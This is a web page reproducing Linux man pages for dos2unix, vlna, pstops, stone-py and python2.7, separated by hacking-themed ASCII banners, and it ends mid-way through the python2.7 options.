Old file mode. Convert file FILE and overwrite output to it. The program defaults to run in this mode. Wildcard names may be used. In old file (in-place) mode the converted file gets the same owner, group, and read/write permissions as the original file. Also when the file is converted by another user who has write permissions on the file (e.g. user root). The conversion will be aborted when it is not possible to preserve the original values. Change of owner could mean that the original owner is not able to read the file any more. Change of group could be a security risk, the file could be made readable for persons for whom it is not intended. Preservation of owner, group, and read/write permissions is only supported on Unix. To check if dos2unix has support for preserving the user and group ownership of files type dos2unix -V. Conversion is always done via a temporary file. When an error occurs halfway the conversion, the temporary file is deleted and the original file stays intact. When the conversion is successful, the original file is replaced with the temporary file. You may have write permission on the original file, but no permission to put the same user and/or group ownership properties on the temporary file as the original file has. This means you are not able to preserve the user and/or group ownership of the original file. In this case you can use option --allow-chown to continue with the conversion: dos2unix –allow-chown foo.txt Another option is to use new file mode: dos2unix -n foo.txt foo.txt The advantage of the --allow-chown option is that you can use wildcards, and the ownership properties will be preserved when possible.

-q, –quiet
Quiet mode. Suppress all warnings and messages. The return value is zero. Except when wrong command-line options are used.

-r, –remove-bom
Remove Byte Order Mark (BOM). Do not write a BOM in the output file. This is the default behavior when converting to Unix line breaks. See also option -b.

-s, –safe
Skip binary files (default). The skipping of binary files is done to avoid accidental mistakes. Be aware that the detection of binary files is not 100% foolproof. Input files are scanned for binary symbols which are typically not found in text files. It is possible that a binary file contains only normal text characters. Such a binary file will mistakenly be seen as a text file.

-u, –keep-utf16
Keep the original UTF-16 encoding of the input file. The output file will be written in the same UTF-16 encoding, little or big endian, as the input file. This prevents transformation to UTF-8. An UTF-16 BOM will be written accordingly. This option can be disabled with the -ascii option.

-ul, –assume-utf16le
Assume that the input file format is UTF-16LE. When there is a Byte Order Mark in the input file the BOM has priority over this option. When you made a wrong assumption (the input file was not in UTF-16LE format) and the conversion succeeded, you will get an UTF-8 output file with wrong text. You can undo the wrong conversion with iconv (1) by converting the UTF-8 output file back to UTF-16LE. This will bring back the original file. The assumption of UTF-16LE works as a conversion mode. By switching to the default ascii mode the UTF-16LE assumption is turned off.

-ub, –assume-utf16be
Assume that the input file format is UTF-16BE. This option works the same as option -ul.

-v, –verbose
Display verbose messages. Extra information is displayed about Byte Order Marks and the amount of converted line breaks.

-F, –follow-symlink
Follow symbolic links and convert the targets.

-R, –replace-symlink
Replace symbolic links with converted files (original target files remain unchanged).

-S, –skip-symlink
Keep symbolic links and targets unchanged (default).

-V, –version
Display version information and exit.

MAC MODE

By default line breaks are converted from DOS to Unix and vice versa. Mac line breaks are not converted.

In Mac mode line breaks are converted from Mac to Unix and vice versa. DOS line breaks are not changed.

To run in Mac mode use the command-line option -c mac or use the commands mac2unix or unix2mac.

CONVERSION MODES

ascii
This is the default conversion mode. This mode is for converting ASCII and ASCII-compatible encoded files, like UTF-8. Enabling ascii mode disables 7bit and iso mode. If dos2unix has UTF-16 support, UTF-16 encoded files are converted to the current locale character encoding on POSIX systems and to UTF-8 on Windows. Enabling ascii mode disables the option to keep UTF-16 encoding (-u) and the options to assume UTF-16 input (-ul and -ub). To see if dos2unix has UTF-16 support type dos2unix -V. See also section UNICODE.

7bit
In this mode all 8 bit non-ASCII characters (with values from 128 to 255) are converted to a 7 bit space.

iso
Characters are converted between a DOS character set (code page) and ISO character set ISO-8859-1 (Latin-1) on Unix. DOS characters without ISO-8859-1 equivalent, for which conversion is not possible, are converted to a dot. The same counts for ISO-8859-1 characters without DOS counterpart. When only option -iso is used dos2unix will try to determine the active code page. When this is not possible dos2unix will use default code page CP437, which is mainly used in the USA. To force a specific code page use options -437 (US), -850 (Western European), -860 (Portuguese), -863 (French Canadian), or -865 (Nordic). Windows code page CP1252 (Western European) is also supported with option -1252. For other code pages use dos2unix in combination with iconv (1). Iconv can convert between a long list of character encodings. Never use ISO conversion on Unicode text files. It will corrupt UTF-8 encoded files. Some examples: Convert from DOS default code page to Unix Latin-1: dos2unix -iso -n in.txt out.txt Convert from DOS CP850 to Unix Latin-1: dos2unix -850 -n in.txt out.txt Convert from Windows CP1252 to Unix Latin-1: dos2unix -1252 -n in.txt out.txt Convert from Windows CP1252 to Unix UTF-8 (Unicode): iconv -f CP1252 -t UTF-8 in.txt | dos2unix > out.txt Convert from Unix Latin-1 to DOS default code page: unix2dos -iso -n in.txt out.txt Convert from Unix Latin-1 to DOS CP850: unix2dos -850 -n in.txt out.txt Convert from Unix Latin-1 to Windows CP1252: unix2dos -1252 -n in.txt out.txt Convert from Unix UTF-8 (Unicode) to Windows CP1252: unix2dos < in.txt | iconv -f UTF-8 -t CP1252 > out.txt See also <http://czyborra.com/charsets/codepages.html> and <http://czyborra.com/charsets/iso8859.html>.

UNICODE

Encodings

There exist different Unicode encodings. On Unix and Linux Unicode files are typically encoded in UTF-8 encoding. On Windows Unicode text files can be encoded in UTF-8, UTF-16, or UTF-16 big endian, but are mostly encoded in UTF-16 format.

Conversion

Unicode text files can have DOS, Unix or Mac line breaks, like ASCII text files.

All versions of dos2unix and unix2dos can convert UTF-8 encoded files, because UTF-8 was designed for backward compatibility with ASCII.

Dos2unix and unix2dos with Unicode UTF-16 support, can read little and big endian UTF-16 encoded text files. To see if dos2unix was built with UTF-16 support type dos2unix -V.

On Unix/Linux UTF-16 encoded files are converted to the locale character encoding. Use the locale (1) command to find out what the locale character encoding is. When conversion is not possible a conversion error will occur and the file will be skipped.

On Windows UTF-16 files are by default converted to UTF-8. UTF-8 formatted text files are well supported on both Windows and Unix/Linux.

UTF-16 and UTF-8 encoding are fully compatible, there will no text be lost in the conversion. When an UTF-16 to UTF-8 conversion error occurs, for instance when the UTF-16 input file contains an error, the file will be skipped.

When option -u is used, the output file will be written in the same UTF-16 encoding as the input file. Option -u prevents conversion to UTF-8.

Dos2unix and unix2dos have no option to convert UTF-8 files to UTF-16.

ISO and 7-bit mode conversion do not work on UTF-16 files.

Byte Order Mark

On Windows Unicode text files typically have a Byte Order Mark (BOM), because many Windows programs (including Notepad) add BOMs by default. See also <https://en.wikipedia.org/wiki/Byte_order_mark>.

On Unix Unicode files typically don’t have a BOM. It is assumed that text files are encoded in the locale character encoding.

Dos2unix can only detect if a file is in UTF-16 format if the file has a BOM. When an UTF-16 file doesn’t have a BOM, dos2unix will see the file as a binary file.

Use option -ul or -ub to convert an UTF-16 file without BOM.

Dos2unix writes by default no BOM in the output file. With option -b Dos2unix writes a BOM when the input file has a BOM.

Unix2dos writes by default a BOM in the output file when the input file has a BOM. Use option -r to remove the BOM.

Dos2unix and unix2dos write always a BOM when option -m is used.

Unicode file names on Windows

Dos2unix has optional support for reading and writing Unicode file names in the Windows Command Prompt. That means that dos2unix can open files that have characters in the name that are not part of the default system ANSI code page. To see if dos2unix for Windows was built with Unicode file name support type dos2unix -V.

There are some issues with displaying Unicode file names in a Windows console. See option -D, --display-enc. The file names may be displayed wrongly in the console, but the files will be written with the correct name.

Unicode examples

Convert from Windows UTF-16 (with BOM) to Unix UTF-8:

dos2unix -n in.txt out.txt

Convert from Windows UTF-16LE (without BOM) to Unix UTF-8:

dos2unix -ul -n in.txt out.txt

Convert from Unix UTF-8 to Windows UTF-8 with BOM:

unix2dos -m -n in.txt out.txt

Convert from Unix UTF-8 to Windows UTF-16:

unix2dos < in.txt | iconv -f UTF-8 -t UTF-16 > out.txt

GB18030

GB18030 is a Chinese government standard. A mandatory subset of the GB18030 standard is officially required for all software products sold in China. See also <https://en.wikipedia.org/wiki/GB_18030>.

GB18030 is fully compatible with Unicode, and can be considered an unicode transformation format. Like UTF-8, GB18030 is compatible with ASCII. GB18030 is also compatible with Windows code page 936, also known as GBK.

On Unix/Linux UTF-16 files are converted to GB18030 when the locale encoding is set to GB18030. Note that this will only work if the locale is supported by the system. Use command locale -a to get the list of supported locales.

On Windows you need to use option -gb to convert UTF-16 files to GB18030.

GB18030 encoded files can have a Byte Order Mark, like Unicode files.

EXAMPLES

Read input from ‘stdin’ and write output to ‘stdout’:

dos2unix < a.txt cat a.txt | dos2unix

Convert and replace a.txt. Convert and replace b.txt:

dos2unix a.txt b.txt dos2unix -o a.txt b.txt

Convert and replace a.txt in ascii conversion mode:

dos2unix a.txt

Convert and replace a.txt in ascii conversion mode, convert and replace b.txt in 7bit conversion mode:

dos2unix a.txt -c 7bit b.txt dos2unix -c ascii a.txt -c 7bit b.txt dos2unix -ascii a.txt -7 b.txt

Convert a.txt from Mac to Unix format:

dos2unix -c mac a.txt mac2unix a.txt

Convert a.txt from Unix to Mac format:

unix2dos -c mac a.txt unix2mac a.txt

Convert and replace a.txt while keeping original date stamp:

dos2unix -k a.txt dos2unix -k -o a.txt

Convert a.txt and write to e.txt:

dos2unix -n a.txt e.txt

Convert a.txt and write to e.txt, keep date stamp of e.txt same as a.txt:

dos2unix -k -n a.txt e.txt

Convert and replace a.txt, convert b.txt and write to e.txt:

dos2unix a.txt -n b.txt e.txt dos2unix -o a.txt -n b.txt e.txt

Convert c.txt and write to e.txt, convert and replace a.txt, convert and replace b.txt, convert d.txt and write to f.txt:

dos2unix -n c.txt e.txt -o a.txt b.txt -n d.txt f.txt

RECURSIVE CONVERSION

In a Unix shell the find (1) and xargs (1) commands can be used to run dos2unix recursively over all text files in a directory tree. For instance to convert all .txt files in the directory tree under the current directory type:

find . -name *.txt -print0 |xargs -0 dos2unix

The find (1) option -print0 and corresponding xargs (1) option -0 are needed when there are files with spaces or quotes in the name. Otherwise these options can be omitted. Another option is to use find (1) with the -exec option:

find . -name *.txt -exec dos2unix {} \

In a Windows Command Prompt the following command can be used:

for /R %G in (*.txt) do dos2unix “%G”

PowerShell users can use the following command in Windows PowerShell:

get-childitem -path . -filter *.txt -recurse | foreach-object {dos2unix $_.Fullname}

LOCALIZATION

LANG
The primary language is selected with the environment variable LANG. The LANG variable consists out of several parts. The first part is in small letters the language code. The second is optional and is the country code in capital letters, preceded with an underscore. There is also an optional third part: character encoding, preceded with a dot. A few examples for POSIX standard type shells: export LANG=nl Dutch export LANG=nl_NL Dutch, The Netherlands export LANG=nl_BE Dutch, Belgium export LANG=es_ES Spanish, Spain export LANG=es_MX Spanish, Mexico export LANG=en_US.iso88591 English, USA, Latin-1 encoding export LANG=en_GB.UTF-8 English, UK, UTF-8 encoding For a complete list of language and country codes see the gettext manual: <https://www.gnu.org/software/gettext/manual/html_node/Usual-Language-Codes.html> On Unix systems you can use the command locale (1) to get locale specific information.

LANGUAGE
With the LANGUAGE environment variable you can specify a priority list of languages, separated by colons. Dos2unix gives preference to LANGUAGE over LANG. For instance, first Dutch and then German: LANGUAGE=nl:de. You have to first enable localization, by setting LANG (or LC_ALL) to a value other than “C”, before you can use a language priority list through the LANGUAGE variable. See also the gettext manual: <https://www.gnu.org/software/gettext/manual/html_node/The-LANGUAGE-variable.html> If you select a language which is not available you will get the standard English messages.

DOS2UNIX_LOCALEDIR
With the environment variable DOS2UNIX_LOCALEDIR the LOCALEDIR set during compilation can be overruled. LOCALEDIR is used to find the language files. The GNU default value is /usr/local/share/locale. Option –version will display the LOCALEDIR that is used. Example (POSIX shell): export DOS2UNIX_LOCALEDIR=$HOME/share/locale

RETURN VALUE

On success, zero is returned. When a system error occurs the last system error will be returned. For other errors 1 is returned.

The return value is always zero in quiet mode, except when wrong command-line options are used.

STANDARDS

<https://en.wikipedia.org/wiki/Text_file>

<https://en.wikipedia.org/wiki/Carriage_return>

<https://en.wikipedia.org/wiki/Newline>

<https://en.wikipedia.org/wiki/Unicode>

AUTHORS

Benjamin Lin - <[email protected]>, Bernd Johannes Wuebben (mac2unix mode) - <[email protected]>, Christian Wurll (add extra newline) - <[email protected]>, Erwin Waterlander - <[email protected]> (maintainer)

Project page: <https://waterlan.home.xs4all.nl/dos2unix.html>

SourceForge page: <https://sourceforge.net/projects/dos2unix/>

SEE ALSO

file (1) find (1) iconv (1) locale (1) xargs (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1942 - Linux cli command vlna

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vlna and provides detailed information about the command vlna, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vlna.

NAME 🖥️ vlna 🖥️

adds tilde after each non-syllabic preposition

USAGE

vlna [options] [filenames]

PREFACE

There exists a special Czech and Slovak typographical rule: you cannot leave the non-syllabic preposition on the end of one line and continue writing text on next line. For example, you cannot write down the text “v lese” (in a forest) like “v<new-line>lese”. The program vlna adds the asciitilde between such preposition and the next word and removes the space(s) in this place. It means, the program converts “v lese” to “v~lese”. You can use this program as a preporcessor before TeXing. Moreower, you can set another sequence to store instead asciitilte (see the -x option).

DESCRIPTION

The program vlna processes one or more files, searches the non-syllabic prepositions followed by space(s) in these files and converts this/these space(s) to asciitilde for each such occurrence.

In the processed file, the activity of the program can be blocked by %~- sequence and the activity can be restored again by the %~+ sequence. These sequences can include spaces, it means that % ~- is a correct sequence too.

The rule to recognize a preposition follows: The arbitrary number of opening parentheses can be written before the preposition and before these (optional) parentheses must be the space, tabelator or new-line. The preposition itself is one-letter word, the letters have to be from this set: {KkSsVvZzOoUuAI}. See the -v option if you want to change this set of letters. From version 1.2, the TeX sequence can be written before preposition and before the brace. Example: “<new-line>([V lese” is converted to “<new-line>([Vlese”. Another example: “\uv{V lese}” is converted to “\uv{Vlese}”.

One or more blank-spaces have to be included after preposition before next word. The blank-space means space or tabelator. One <new-line> can be here too. All these characters are removed and replaced by asciitilde (or by another string, see -x option). If <new-line> is deleted, another <new-line> is created before preposition (and before optional parentheses) in order to the number of lines is kept unchanged. Example: “… V<new-line><tabelator>lese” is converted to “…<new-line>V~lese”.

The program checks the consintence of TeX’s math environments (if -m option isn’t used). For example the “$…$$…$” sequence (it means the display mode switch inside the text-math mode) generates a warning. Empty line inside display mode generates a warning too and the program processes next text like in normal (non-math) mode. The existence of the “$” inside display mode are accepted because the constructions like $$..\hbox{..$..$}..$$ are allowed and common.

The consistence of verbatim mode is checked on the end of the file. If the file ends but the verbatim mode does not end the warning is printed. This behavior can be switched off by -n or -w options.

The program suppresses the tilde changing after letters like prepositions but they are not prepositions because the \TeX or \LaTeX sequence precedes. Example: “vlastnosti \TeX u jsou” is not converted to “vlastnosti \TeX u~jsou”, because this text is printed (after TeX processing) like “vlastnosti TeXu jsou”. The letter “u” is a suffix here, no preposition.

OPTIONS

The options are optional and can be written in arbitrarty order separated by space.

-f
Filter. The [filenames] are treated as follows:

vlna -f filename1 filename2
Input is filename1, output is filename2.

vlna -f filename1
Input is filename1, output is stdout.

vlna -f
Input is stdin, output is stdout.

vlna filename1 [filename2 [filename3 …]]
If the -f option is omitted then each file is processed independently and it is re-written.

-s
The silent mode. No messages, warnings, statistics are printed. Only errors which terminates the program untimely are printed. If this parameter is omitted then banner, warnings and statistics are printed to stderr.

-r
Do not create the backups. The option -r is irrelevant if the -f option is used. If the -f and -r options aren’t used then each re-written file is stored with its original contents to a backup file (the name of backup file is the same as filename, only the tilde is used instead of the last character).

-v characters
The set of characters treated as non-syllabic prepositions is declared by this option. Default: -v KkSsVvZzOoUuAI. The space between -v and characters is required.

-x code
The code is a string written in hexadecimal notation (even hexa digits is required). This string will be saved after prepositions instead asciitilde which is default. The example: -x C2A0 two bytes are stored after each non-syllabic preposition, first byte has C2 code and second byte has A0 code. This example means that NO-BREAK SPACE in UTF8 encoding will be used after prepositions. Another example: -x 00A0 the NO-BREAK SPACE in UTF16 encoding. Another example: -x 48454C4C4F the string HELLO will be used. The space between -x and code is required.

-m
The math-modes ($$ and $$$$) are ignored. It means that non-syllabic prepositions is searched in math-mode too. Default (without -m option): no changes in math modes are done because (for example) “v” is variable in math-mode, no preposition.

-n
The verbatim mode (** erb***<char><char>*, egttndtt) is ignored, it means the program can do a changes in verbatim environment. Default (without -n option): no changes in verbatim mode are done.

-l
The LaTeX mode. The following environments are treated as display mode: egin{display}nd{display} and egin{equation}nd{equation} and the following environment is treated as verbatim mode: egin{verbatim}nd{verbatim}.

-w
The web mode (Knuth’s web, no www:-). The following sequences are treated as verbatim: @<, @d@*, **@**space or @>|. It means program code is unchanged in *.w or *.web files, only web-comments are processed.

EXAMPLES

vlna -m -n -s -r file
The program has a behavior similar to the old vlnka program.

vlna *.tex
All files with .tex suffix in current directory will be processed (and possibly changed). (The “*” is UNIX-shell feautre).

vlna -f file > /dev/null
Only the consistence checking of math and verbatim modes is processed. No changes are done.

AUTHORS

Petr Olsak <[email protected]>. Man page (Czech original) and Makefile is created by Rulolf Cejka

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1943 - Linux cli command pstops

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pstops and provides detailed information about the command pstops, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pstops.

NAME 🖥️ pstops 🖥️

shuffle pages in a PostScript file

SYNOPSIS

pstops [ -q ] [ -b ] [ -wwidth ] [ -hheight ] [ -ppaper ] [ -dlwidth ] pagespecs [ infile [ outfile ] ]

DESCRIPTION

Pstops rearranges pages from a PostScript document, creating a new PostScript file. The input PostScript file should follow the Adobe Document Structuring Conventions. Pstops can be used to perform a large number of arbitrary re-arrangements of Documents, including arranging for printing 2-up, 4-up, booklets, reversing, selecting front or back sides of documents, scaling, etc.

pagespecs follow the syntax:

pagespecs
= [modulo:]specs

specs
= spec[+specs][,specs]

spec
= [-]pageno[L][R][U][H][V][@scale][(xoff,yoff)]

modulo is the number of pages in each block. The value of modulo should be greater than 0; the default value is 1. specs are the page specifications for the pages in each block. The value of the pageno in each spec should be between 0 (for the first page in the block) and modulo-1 (for the last page in each block) inclusive. The optional dimensions xoff and yoff shift the page by the specified amount. xoff and yoff are in PostScript’s points, but may be followed by the units cm or in to convert to centimetres or inches, or the flag w or h to specify as a multiple of the width or height. The optional parameters L, R, U, H and V rotate the page left, right, or upside-down, and flip (mirror) page horizontally or vertically. The optional scale parameter scales the page by the fraction specified. If the optional minus sign is specified, the page is relative to the end of the document, instead of the start.

If page specs are separated by + the pages will be merged into one page; if they are separated by , they will be on separate pages. If there is only one page specification, with pageno zero, the pageno may be omitted.

The shift, rotation, and scaling are applied to the PostScript transformation matrix in that order regardless of which order they appear on the command line. The matrix accumulates the individual transformations. The effect on the image is to first scale with respect to an origin at the lower left corner, then rotate about the same origin, and finally shift.

The -w option gives the width which is used by the w dimension specifier, and the -h option gives the height which is used by the h dimension specifier. These dimensions are also used (after scaling) to set the clipping path for each page. The -p option can be used as an alternative, to set the paper size to a0, a1, a2, a3, a4, a5, b5, letter, legal, tabloid, statement, executive, folio, quarto or 10x14. The default paper size is a4.

The -b option prevents any bind operators in the PostScript prolog from binding. This may be needed in cases where complex multi-page re-arrangements are being done.

The -d option draws a line around the border of each page, of the specified width. If the lwidth parameter is omitted, a default linewidth of 1 point is assumed. The linewidth is relative to the original page dimensions, i.e. it is scaled up or down with the rest of the page.

Pstops normally prints the page numbers of the pages re-arranged; the -q option suppresses this.

EXAMPLES

This section contains some sample re-arrangements. To put two pages on one sheet (of A4 paper), the pagespec to use is:

“2:[email protected](21cm,0)[email protected](21cm,14.85cm)”

To select all of the odd pages in reverse order, use:

2:-0

To re-arrange pages for printing 2-up booklets, use

“4:[email protected](21cm,0)[email protected](21cm,14.85cm)”

for the front sides, and

“4:[email protected](21cm,0)[email protected](21cm,14.85cm)”

for the reverse sides (or join them with a comma for duplex printing).

AUTHOR

Copyright (C) Angus J. C. Duggan 1991-1995

SEE ALSO

psbook(1), psselect(1), pstops(1), epsffit(1), psnup(1), psresize(1), psmerge(1), fixscribeps(1), getafm(1), fixdlsrps(1), fixfmps(1), fixpsditps(1), fixpspps(1), fixtpps(1), fixwfwps(1), fixwpps(1), fixwwps(1), extractres(1), includeres(1), showchar(1)

TRADEMARKS

PostScript is a trademark of Adobe Systems Incorporated.

BUGS

Pstops does not accept all DSC comments.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1944 - Linux cli command stone-py

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command stone-py and provides detailed information about the command stone-py, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the stone-py.

NAME 🖥️ stone-py 🖥️

SYNOPSIS

stone [-h] [-v] [–clean-build] [-f FILTER_BY_ROUTE_ATTR] [-r ROUTE_WHITELIST_FILTER] [-a ATTRIBUTE] [-w WHITELIST_NAMESPACE_ROUTES] [-b BLACKLIST_NAMESPACE_ROUTES] [backend] [output] [spec …]

DESCRIPTION

This manual page documents briefly the stone command.

This manual page was written for the Debian distribution because the original program does not have a manual page.

stone is a code generator, used to translate your specification into objects and functions in the programming languages of your choice.

OPTIONS

This program follows the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-h –help
Show help message and exit.

-v –verbose
Print debugging statements.

–clean-build
Remove build_path before source files are compiled into them.

-f –filter-by-route-attr
Removes routes that do not match the expression. The expression must specify a route attribute on the left-hand side and a value on the right-hand side. Use quotes for strings and bytes. The only supported operators are “=” and “!=”. For example, if “hide” is a route attribute, we can use this filter: “hide!=true”. You can combine multiple expressions with “and”/“or” and use parentheses to enforce precedence.

-r –route-whitelist-filter
Restrict datatype generation to only the routes specified in the whitelist and their dependencies. Input should be a file containing a JSON dict with the following form: {“route_whitelist”: {}, “datatype_whitelist”: {}} where each object maps namespaces to lists of routes or datatypes to whitelist.

-a –attribute
Route attributes that the backend will have access to and presumably expose in generated code. Use “:all” to select all attributes defined in stone_cfg.Route. Note that you can filter (-f) by attributes that are not listed here.

-w –whitelist-namespace-routes
If set, backends will only see the specified namespaces as having routes.

-b –blacklist-namespace-routes
If set, backends will not see any routes for the specified namespaces.

ARGUMENTS

backend
Either the name of a built-in backend or the path to a backend module. Paths to backend modules must end with a stoneg.py extension. The following backends are built-in: obj_c_client, obj_c_types, obj_c_tests, js_client, js_types, tsd_client, tsd_types, python_types, python_type_stubs, python_client, swift_types, swift_client.

output
The folder to save generated files to.

spec
Path to API specifications. Each must have a .stone extension. If omitted or set to “-”, the spec is read from stdin. Multiple namespaces can be provided over stdin by concatenating multiple specs together.

AUTHOR

This manual page was written by fladi [email protected] for the Debian system (and may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 any later version published by the Free Software Foundation.

On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1945 - Linux cli command python2.7

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python2.7 and provides detailed information about the command python2.7, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python2.7.

NAME 🖥️ python2.7 🖥️

an interpreted, interactive, object-oriented programming language

SYNOPSIS

python [ -B ] [ -d ] [ -E ] [ -h ] [ -i ] [ -m module-name ]
[ -O ] [ -OO ] [ -R ] [ -Q argument ] [ -s ] [ -S ] [ -t ] [ -u ]
[ -v ] [ -V ] [ -W argument ] [ -x ] [ -3 ] [ -? ]
[ -c command | script | - ] [ arguments ]

DESCRIPTION

Python is an interpreted, interactive, object-oriented programming language that combines remarkable power with very clear syntax. For an introduction to programming in Python, see the Python Tutorial. The Python Library Reference documents built-in and standard types, constants, functions and modules. Finally, the Python Reference Manual describes the syntax and semantics of the core language in (perhaps too) much detail. (These documents may be located via the INTERNET RESOURCES below; they may be installed on your system as well.)

Python’s basic power can be extended with your own modules written in C or C++. On most systems such modules may be dynamically loaded. Python is also adaptable as an extension language for existing applications. See the internal documentation for hints.

Documentation for installed Python modules and packages can be viewed by running the pydoc program.

COMMAND LINE OPTIONS

-B
Don’t write .py[co] files on import. See also PYTHONDONTWRITEBYTECODE.

**-c **command
Specify the command to execute (see next section). This terminates the option list (following options are passed as arguments to the command).

-d
Turn on parser debugging output (for wizards only, depending on compilation options).

-E
Ignore environment variables like PYTHONPATH and PYTHONHOME that modify the behavior of the interpreter.

-h , -? , –help
Prints the usage for the interpreter executable and exits.

-i
When a script is passed as first argument or the -c option is used, enter interactive mode after executing the script or the command. It does not read the $PYTHONSTARTUP file. This can be useful to inspect global variables or a stack trace when a script raises an exception.

**-m **module-name
Searches sys.path for the named module and runs the corresponding .py file as a script.

-O
Turn on basic optimizations. This changes the filename extension for compiled (bytecode) files from .pyc to .pyo. Given twice, causes docstrings to be discarded.

-OO
Discard docstrings in addition to the -O optimizations.

-R
Turn on “hash randomization”, so that the hash() values of str, bytes and datetime objects are “salted” with an unpredictable pseudo-random value. Although they remain constant within an individual Python process, they are not predictable between repeated invocations of Python.

This is intended to provide protection against a denial of service caused by carefully-chosen inputs that exploit the worst case performance of a dict construction, O(n^2) complexity. See http://www.ocert.org/advisories/ocert-2011-003.html for details.

**-Q **argument
Division control; see PEP 238. The argument must be one of “old” (the default, int/int and long/long return an int or long), “new” (new division semantics, i.e. int/int and long/long returns a float), “warn” (old division semantics with a warning for int/int and long/long), or “warnall” (old division semantics with a warning for all use of the division operator). For a use of “warnall”, see the Tools/scripts/fixdiv.py script.

-s
Don’t add user site directory to sys.path.

-S
Disable the import of the module site and the site-dependent manipulations of sys.path that it entails.

-t
Issue a warning when a source file mixes tabs and spaces for indentation in a way that makes it depend on the worth of a tab expressed in spaces. Issue an error when the option is given twice.

-u
Force stdin, stdout and stderr to be totally unbuffered. On systems where it matters, also put stdin, stdout and stderr in binary mode. Note that there is internal buffering in xreadlines(), readlines() and file-object iterators (“for line in sys.stdin”) which is not influenced by this option. To work around this, you will want to use “sys.stdin.readline()” inside a “while 1:” loop.

-v
Print a message each time a module is initialized, showing the place (filename or built-in module) from which it is loaded. When given twice, print a message for each file that is checked for when searching for a module. Also provides information on module cleanup at exit.

-V , –version
